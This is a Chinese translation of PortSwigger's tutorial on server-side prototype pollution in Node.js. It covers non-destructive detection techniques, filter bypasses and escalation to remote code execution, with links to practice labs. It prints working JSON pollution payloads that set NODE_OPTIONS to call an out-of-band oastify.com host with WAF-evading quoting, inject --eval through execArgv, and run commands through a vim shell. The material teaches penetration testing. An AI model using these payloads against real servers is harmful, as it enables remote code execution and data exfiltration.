服务端原型链污染漏洞
翻译
原文:https://portswigger.net/web-security/prototype-pollution/server-side
- name: 翻译
desc: 原文:https://portswigger.net/web-security/prototype-pollution/server-side
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 1服务端原型链污染
JavaScript 最初是一种客户端语言,被设计在浏览器中运行。然而,由于服务端运行时的出现,例如非常流行的 Node.js,致使 JavaScript 现在被广泛用于构建服务器、APIs 和其他后端应用程序。从逻辑上讲,这意味着 原型链污染漏洞 也可能出现在服务器端环境中。
虽然基本概念在很大程度上保持不变,但识别服务端原型链污染漏洞 并 将其开发为有效漏洞的过程,为我们带来了一些额外的挑战。
在本节中,你将学习一些用于 检测服务端原型链污染 的黑盒技术。我们将介绍如何高效 且 无损地执行此操作,然后使用交互式、故意易受攻击的实验室,来演示如何利用原型链污染实现远程代码执行。
PortSwigger Research
本节中的一些材料和实验室基于 PortSwigger 最初的研究。有关更多技术细节,以及我们是如何开发这些技术的见解,请查看 Gareth Heyes 所作的白皮书:
# 2为什么服务端原型链污染更难被检测到?
出于多种原因,服务端原型链污染 通常比客户端变体更难检测:
- 无法访问源代码 - 与客户端漏洞不同,你通常无法访问服务器上的易受攻击 JavaScript。这意味着,无法简单地了解到目标存在哪些接收器,又或是发现潜在的小工具属性。
- 缺乏开发者工具 - 由于 JavaScript 运行在远程系统上,因此你无法像使用浏览器的 DevTools 检查 DOM 时那样在运行时检查对象。这意味着,你很难判断你是否已经成功地污染了原型,除非你已经造成了网站行为的明显变化。显然,在白盒测试中不会受到这个限制。
- DoS 问题 - 在服务端环境中,如果使用真实的属性来污染其上的对象,通常会破坏应用程序功能 或 使服务器完全瘫痪。这很容易在无意中导致拒绝服务(DoS),因此,在生产环境中进行测试可能很危险。就算你真的发现了一个污染,但你在此过程中已经破坏了网站,接下来想要将其构造成漏洞利用会变得非常棘手。
- 污染持久性 - 在浏览器中进行测试时,你只需要简单地刷新页面,即可撤消所有更改 并 重新获得干净的环境。一旦污染了服务端原型,这种更改将在 Node 进程的整个生命周期内持续存在,并且你无法重置它。
在下面的部分中,我们将介绍一些非破坏性技术,这些技术使你能够 安全地测试服务端原型链污染,尽管这些技术存在一定限制。
# 3通过属性污染反馈来检测服务端原型链污染
开发人员很容易陷入一个陷阱,忘记或忽略了这样一个事实 - JavaScript 中的for...in
循环会遍历对象中的所有可枚举属性,包括该对象从原型链那里继承而来的属性。
笔记
这不包括由 JavaScript 的本机构造函数所设置的内置属性,因为默认情况下这些属性是不可枚举的。
你可以按以下方式自行测试:
const myObject = { a: 1, b: 2 };
// 用任意属性污染原型
Object.prototype.foo = 'bar';
// 确认 myObject 还没有定义自己的 foo 属性
myObject.hasOwnProperty('foo'); // false
// 列出 myObject 的属性名称
for(const propertyKey in myObject){
console.log(propertyKey);
}
// Output: a, b, foo
2
3
4
5
6
7
8
9
10
11
12
13
14
这也适用于数组,其中for...in
循环首先会遍历每个索引(这实际上只是一个隐藏的数字键属性),然后再遍历任何继承的属性。
const myArray = ['a','b'];
Object.prototype.foo = 'bar';
for(const arrayKey in myArray){
console.log(arrayKey);
}
// Output: 0, 1, foo
2
3
4
5
6
7
8
无论哪种情况,如果应用程序稍后在响应中包含所返回的属性,那么这就是一种探测服务端原型链污染的简单方法。
POST
或PUT
请求是此类行为的主要候选者,因为它们可以将 JSON 数据提交到应用程序或 API 上。因为服务器通常会使用新对象或更新对象的 JSON 表示形式来进行响应。在这种情况下,你可以尝试使用任意属性来污染全局Object.prototype
,如下所示:
POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
"user":"wiener",
"firstName":"Peter",
"lastName":"Wiener",
"__proto__":{
"foo":"bar"
}
}
2
3
4
5
6
7
8
9
10
11
如果网站易受攻击,则注入的属性将会显示在响应的更新对象中:
HTTP/1.1 200 OK
...
{
"username":"wiener",
"firstName":"Peter",
"lastName":"Wiener",
"foo":"bar"
}
2
3
4
5
6
7
8
在极少数情况下,网站甚至可能会使用这些属性来动态生成 HTML,从而在浏览器中呈现所注入的属性。
一旦你确认了服务端原型链污染,你就可以寻找潜在的小工具来构造漏洞利用。任何涉及 更新用户数据 的功能都值得研究,因为这些功能通常会将传入数据 合并到 应用程序中的现有用户对象当中。如果你可以向自己的用户添加任意属性,则可能会产生许多漏洞,包括权限提升。
- name: 实验室-从业者
desc: 通过服务端原型链污染实现权限提升 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 4检测服务端原型链污染-无需反馈污染属性
大多数情况下,即使你成功污染了服务端原型对象,也不会在响应中看到受影响的属性。由于你无法在控制台中检查对象,因此在判断注入是否有效时,这带来了挑战。
有一种方法,尝试注入服务器的潜在配置选项属性。然后,你可以比较注入前后服务器的行为,以查看此配置更改是否生效。如果服务器行为发生改变,这强烈表明你已经成功地发现了服务端原型链污染漏洞。
在本节中,我们将介绍以下技术:
以上这些注入都是非破坏性的,但在注入成功时,仍然会在服务器行为中产生某些一致且独特的变化。你可以使用本节中介绍的任何技术,来解决附带的实验室问题 (opens new window)。
笔记
这只是一小部分的潜在技术,给予你一个可行的想法。有关更多技术细节以及 PortSwigger Research 如何开发这些技术的见解,请查看随附的白皮书《服务端原型链污染:无DoS的黑盒检测 - Gareth Heyes》 (opens new window)。
# 4.1状态代码覆盖
服务器端 JavaScript 框架(例如 Express)允许开发人员自定义 HTTP 响应状态。在发生错误的情况下,JavaScript 服务器可能会发出一个通用 HTTP 响应,并在正文中包含 JSON 格式的错误对象。这是一种提供错误发生原因 以及 其他详细信息的方式,这在默认 HTTP 状态中可能并不明显。
尽管这有点误导,但收到200 OK
响应是相当常见的,只不过响应正文中包含一个具有不同状态的错误对象。
HTTP/1.1 200 OK
...
{
"error": {
"success": false,
"status": 401,
"message": "You do not have permission to access this resource."
}
}
2
3
4
5
6
7
8
9
Node 的http-errors
模块包含以下函数,可用于生成此类错误响应:
function createError () {
//...
if (type === 'object' && arg instanceof Error) {
err = arg
status = err.status || err.statusCode || status
} else if (type === 'number' && i === 0) {
//...
if (typeof status !== 'number' ||
(!statuses.message[status] && (status > 400 || status >= 600))) {
status = 500
}
//...
第一个突出显示的行,试图从传入的对象中读取status
或statusCode
属性来为status
变量赋值。如果网站的开发人员还没有为 “err” 对象显式设置status
属性,则可以使用它来探测原型链污染,如下所示:
- 找到一种触发错误响应的方法,并记下默认状态代码。
- 尝试用你自己的
status
属性污染原型。请确保你使用的是一个不太常见的状态代码,防止该代码是由其他原因发出的。 - 再次触发错误响应,并检查状态代码是否已被成功覆盖。
笔记
你必须选择400-599
范围内的状态代码。否则,Node 默认将会发出500
状态,正如你从第二条提示中看到的那样,防止你不知道是否污染了原型。
# 4.2JSON 空格覆盖
Express 框架提供了一个json spaces
选项,该选项允许你配置缩进的空格数,应用于响应中的任何 JSON 数据。在许多情况下,开发人员不会主动去定义该属性,因为他们对默认值很满意,这使得它容易受到原型链污染的攻击。
如果你有权访问任何 JSON 类型的响应,可以尝试使用自己的json spaces
属性去污染原型,然后重新发出相关请求,以查看 JSON 响应中的缩进是否相应增加。你可以执行相同的步骤,删除缩进以确认漏洞。
这是一种特别有用的技术,因为它不依赖特定属性的反馈。它也是非侵入性的,因为你只需要将属性重置为默认值,就可以有效地启用和关闭污染。
虽然 Express 4.17.4 已经修复了原型链污染,但那些未升级的网站仍然可能受到攻击。
笔记
在 Burp 中尝试此技术时,需要切换到消息编辑器的 “Raw” 选项卡。否则,你将无法看到缩进的变化,因为默认的美化视图会对缩进进行规范化。
# 4.3字符集覆盖
Express 服务器通常会实现所谓的 “中间件” 模块,在请求被传递给适当的处理函数之前,这些模块可以对请求进行预处理。例如,body-parser
模块通常用于解析传入请求的正文,以便生成req.body
对象。这提供了另一个小工具,你可以使用它来探测服务端原型链污染。
请注意,下面的代码将 options 对象传递到read()
函数中,该函数用于读取请求正文并进行解析。其中的一个选项encoding
用于确定要使用的字符编码。该选项要么调用getCharset(req)
函数从请求本身中导出,要么为默认的 UTF-8。
var charset = getCharset(req) || 'utf-8'
function getCharset (req) {
try {
return (contentType.parse(req).parameters.charset || '').toLowerCase()
} catch (e) {
return undefined
}
}
read(req, res, next, parse, debug, {
encoding: charset,
inflate: inflate,
limit: limit,
verify: verify
})
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
如果你仔细观察getCharset()
函数,就会发现开发人员已经预料到Content-Type
标头中可能不包含显式charset
属性,因此他们实现了一些逻辑,在这种情况下返回一个空字符串。至关重要的是,这意味着它可以被原型链污染所控制。如果你可以找到一个对象,该对象的属性在响应中可见,则可以使用它来探测污染源。在下面的示例中,我们将使用 UTF-7 编码和 JSON 源。
-
将任意经过 UTF-7 编码的字符串添加到反馈属性中。例如,
foo
在 UTF-7 中是+AGYAbwBv-
。{ "sessionId":"0123456789", "username":"wiener", "role":"+AGYAbwBv-" }
1
2
3
4
5 - 发送请求。默认情况下,服务器不会使用 UTF-7 编码,因此该字符串会以其编码形式显示在响应中。
-
尝试在
content-type
属性中显式指定 UTF-7 字符集,从而污染原型:{ "sessionId":"0123456789", "username":"wiener", "role":"default", "__proto__":{ "content-type": "application/json; charset=utf-7" } }
1
2
3
4
5
6
7
8 -
重复第一个请求。如果你成功地污染了原型,则 UTF-7 字符串会在响应中被解码:
{ "sessionId":"0123456789", "username":"wiener", "role":"foo" }
1
2
3
4
5
Node 的_http_incoming
模块中存在一个 Bug,即使实际请求中的Content-Type
标头已经包含了其自己的charset
属性,以上攻击也是有效的。当请求中出现重复的标头时,为了避免属性被覆盖,函数_addHeaderLine()
在将该属性传输到IncomingMessage
对象之前,会先检查其中是否已存在具有相同键的属性:
IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
// ...
} else if (dest[field] === undefined) {
// Drop duplicates
dest[field] = value;
}
}
经过以上步骤之后,正在处理的标头将会被有效删除。由于实现错误,这种检查(可能是无意的)也会处理从原型链中继承而来的属性。这意味着,如果我们用自己的content-type
属性去污染原型,那么请求中的实际Content-Type
标头属性 以及 从标头中导出的预期值,都将在此被删除。
(译者加:我理解的意思是content-type
恶意属性和实际的Content-Type
标头属性冲突了,但这个函数会优先选择content-type
,然后丢弃重复的Content-Type
)
- name: 实验室-从业者
desc: 检测服务端原型链污染-无需反馈污染属性 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/prototype-pollution/server-side/lab-detecting-server-side-prototype-pollution-without-polluted-property-reflection
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 5扫描服务端原型污染源
虽然 “手动探测污染源” 可以巩固你对漏洞的理解,但这在实践中可能是重复且耗时的。出于这个原因,我们为 BurpSuite 编写了一个服务端原型链污染扫描扩展,使你能够自动执行此过程。基本工作流程如下:
- 从 BApp Store 安装 “Server-Side Prototype Pollution Scanner” 扩展,并确保它已被启用。有关如何执行此操作的详细信息,请参阅安装扩展 (opens new window)
- 使用 Burp 的浏览器浏览目标网站,映射尽可能多的内容,并在代理历史记录中积累流量。
- 在 Burp 中,转到 “Proxy > HTTP history” 选项卡。
- 筛选列表,仅显示预期范围内的条目。
- 选择列表中的所有条目。
- 单击右键唤出你的选择下拉框,然后转到 “Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution”,从列表中选择一种扫描技术。
- 出现提示时,根据需要修改攻击配置,然后单击 “OK” 启动扫描。
在 Burp Suite Professional (opens new window) 中,扩展程序会通过 “Dashboard” 和 “Target” 选项卡中的 “Issue activity” 面板来报告它找到的任何原型污染源。
如果你使用的是 Burp Suite Community Edition (opens new window),则需要转到 “Extensions > Installed” 选项卡,选择该扩展,然后查看其 “Output” 选项卡是否有报告任何问题。
笔记
如果你不确定要使用哪种扫描技术,还可以选择 “Full scan”(完全扫描)从而使用所有可用的技术来运行扫描。但是,这将会发送更多的请求。
# 6绕过针对服务端原型链污染的输入过滤器
网站经常会过滤可疑的键(例如__proto__
)来防止或修补原型链污染漏洞。这类关键的清理方法并不是一种可靠的长期解决方案,因为有许多方法可以绕过它。例如,攻击者可以:
- 对被禁止的关键字进行模糊处理(混淆),以便在清理过程中保留它们。有关详细信息,请参阅绕过有缺陷的键清理 (opens new window)。
- 通过
constructor
属性来访问原型,而不需要用到__proto__
。有关详细信息,请参阅通过构造函数实现原型链污染 (opens new window)。
Node 应用程序还可以分别使用命令行标志--disable-proto=delete
或--disable-proto=throw
来完全删除或禁用__proto__
。但是,这同样可以使用构造函数技术来绕过。
- name: 实验室-从业者
desc: 服务端原型链污染-绕过有缺陷的输入过滤器 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/prototype-pollution/server-side/lab-bypassing-flawed-input-filters-for-server-side-prototype-pollution
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 7通过服务端原型链污染实现远程执行代码
虽然 客户端原型链污染 通常会使易受攻击的网站暴露于 DOM型XSS 之下,但服务端原型链污染可能会导致远程代码执行(RCE)。在本节中,你将学习如何识别这种情况,以及如何利用 Node 应用程序中的一些潜在向量。
# 7.1识别易受攻击的请求
Node 中有许多潜在的命令执行接收器,其中大多数都发生在child_process
模块中。在你发送一个用于污染原型的请求时,将会发出另一个异步请求调用这些模块。因此,识别这些请求的最佳方法是,使用有效负载去污染原型,调用该负载时触发与 Burp Collaborator 的交互。
环境变量NODE_OPTIONS
可以定义一串命令行参数,每当你启动一个新的 Node 进程时,默认会自动使用这些参数。该变量是env
对象上的一个属性,因此如果它未被定义,你就可以通过原型链污染来控制它。
在 Node 中,一些用于创建新子进程的函数接受一个可选的shell
属性,该属性可以让开发人员设置某个用于运行命令的特定 shell 环境(例如bash
)。你可以将该属性与恶意NODE_OPTIONS
属性相结合并污染原型,从而在创建新的 Node 进程时触发与 Burp Collaborator 交互:
"__proto__": {
"shell":"node",
"NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
2
3
4
通过这种方式,你可以轻松地识别 该请求创建新子进程的时机,并通过原型链污染对 所使用的命令行参数 进行控制。
提示
主机名中的转义双引号不是绝对必要的。但是,这可以混淆主机名,从而规避 WAF 或其他拦截主机名的系统,有助于减少误报。
# 7.2通过child_process.fork()执行远程代码
开发人员可以使用child_process.spawn()
和child_process.fork()
等方法来创建新的 Node 子进程。fork()
方法接受一个 options 对象,其中一个潜在选项是execArgv
属性。这是一个字符串数组,其中包含生成子进程时要使用的命令行参数。如果开发人员没有定义它,这也意味着它可以被原型链污染控制。
由于这个小工具允许你直接控制命令行参数,因此,现在你可以访问一些原本在NODE_OPTIONS
场景下无法访问的攻击向量。特别令人感兴趣的是--eval
参数,你可以通过该参数传入任意 JavaScript 并交由子进程执行。这非常强大,甚至允许你将其他模块加载到环境中:
"execArgv": [
"--eval=require('<module>')"
]
2
3
除了fork()
之外,child_process
模块还包含execSync()
方法,该方法可以将任意字符串作为系统命令执行。通过链接这些 JavaScript 和命令注入 (opens new window)接收器,你可以潜在地升级原型链污染,以便在服务器上获得完整的 RCE 功能。
- name: 实验室-从业者
desc: 通过服务端原型链污染实现远程执行代码 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/prototype-pollution/server-side/lab-remote-code-execution-via-server-side-prototype-pollution
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 7.3通过child_process.execSync()执行远程代码
在前面的示例中,我们通过命令行参数--eval
注入了child_process.execSync()
接收器。但在某些情况下,应用程序也可能会自行调用此方法,从而执行系统命令。
就像fork()
一样,execSync()
方法也接受 options 对象,这些对象可能会受到原型链污染。尽管该方法不接受execArgv
属性,但你仍然可以同时污染shell
和input
属性,来将系统命令注入到正在运行的子进程中:
input
选项只是一个字符串,它被传递给子进程的stdin
流,并交由execSync()
作为系统命令执行。但除了该选项之外,还有其他方式可用于提供命令字符串,例如简单地将其作为参数传递给函数,因此input
属性本身可能未被定义。shell
选项允许开发人员选择一个特定的 shell 来运行命令。默认情况下,execSync()
会使用系统的默认 shell 来运行命令,因此该属性也可能未被定义。
通过污染这两个属性,你可以覆盖原有的执行命令,并在你所选择的 shell 中运行恶意命令。请注意,有一些注意事项:
shell
选项仅接受 shell 可执行文件的名称,不允许设置任何其他命令行参数。- shell 命令始终通过
-c
参数执行,大多数 shell 都会使用该参数,从而允许你将命令作为字符串传入。但是,在 Node 中使用-c
标志时,程序将会对提供的脚本进行语法检查,这也会阻止它的执行。因此,尽管有解决方法,但使用 Node 本身来作为攻击的 shell 时会很棘手。 - 由于包含载荷的
input
属性是通过stdin
传递的,因此你选择的 shell 必须能够接受来自stdin
的命令。
尽管文本编辑器 Vim 和 ex 并不算是真正意义上的 shell,但两者确实满足了所有这些标准。如果服务器上恰好安装了这两个工具中的任何一个,这将为 RCE 提供一个潜在的向量:
"shell":"vim",
"input":":! <command>\n"
2
笔记
Vim 存在一个交互式提示符,并希望用户按 Enter 键来运行提供的命令。因此,你需要在有效负载的末尾包含一个换行符(\n
)来模拟这一点,就像上面的示例一样。
这种技术有着另一个限制,你可能想要用某些工具来替代你自动执行攻击,但在默认情况下这些工具不会从stdin
读取数据。但是,有几个简单的方法可以解决这个问题。例如,在使用curl
的情况下,你可以读取stdin
并通过-d @-
参数将读取的内容作为POST
请求的正文来发送。
在其他场景下,可以使用xargs
,它会将stdin
转换为 “可传递的命令参数列表”。
- name: 实验室-专家
desc: 通过服务端原型链污染泄露敏感数据 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/prototype-pollution/server-side/lab-exfiltrating-sensitive-data-via-server-side-prototype-pollution
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
接下来呢?
为了帮助你保护自己的网站,使其免受我们研究过的原型链污染的影响,我们提供了一些高级建议,有关于你可以采取的防御措施 以及 如何避免一些常见的陷阱。